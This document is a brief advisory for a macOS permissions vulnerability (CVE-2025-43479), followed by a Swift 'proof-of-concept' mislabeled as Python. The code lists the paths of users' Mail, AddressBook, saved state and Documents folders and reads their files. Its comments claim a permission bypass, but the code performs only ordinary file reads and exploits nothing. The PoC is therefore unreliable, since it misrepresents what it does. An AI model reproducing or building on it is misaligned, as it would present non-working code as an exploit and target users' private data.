A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
# CVE-2025-43479 PoC - macOS Permission Bypass
# This PoC demonstrates the permission bypass vulnerability
# Note: This is a simplified demonstration code
import Cocoa
import Foundation
class PermissionBypassDemo {
func exploit() {
// Step 1: Identify target sensitive data paths
let sensitivePaths = [
"~/Library/Containers/com.apple.mail/Data/Mail/",
"~/Library/Application Support/AddressBook/",
"~/Library/Saved Application State/",
"~/Documents/"
]
// Step 2: Attempt to access sensitive data without proper authorization
for path in sensitivePaths {
let expandedPath = (path as NSString).expandingTildeInPath
let fileManager = FileManager.default
do {
// Bypass permission check - vulnerability exploitation
let contents = try fileManager.contentsOfDirectory(atPath: expandedPath)
print("Accessed sensitive data at: \(path)")
print("Contents: \(contents)")
// Step 3: Extract sensitive information
for item in contents {
let fullPath = (expandedPath as NSString).appendingPathComponent(item)
if let data = try? Data(contentsOf: URL(fileURLWithPath: fullPath)) {
// Process sensitive data
processData(data)
}
}
} catch {
print("Access denied for: \(path)")
}
}
}
func processData(_ data: Data) {
// Extract and process sensitive information
print("Processing \(data.count) bytes of sensitive data")
}
}
// Run exploit
let exploit = PermissionBypassDemo()
exploit.exploit()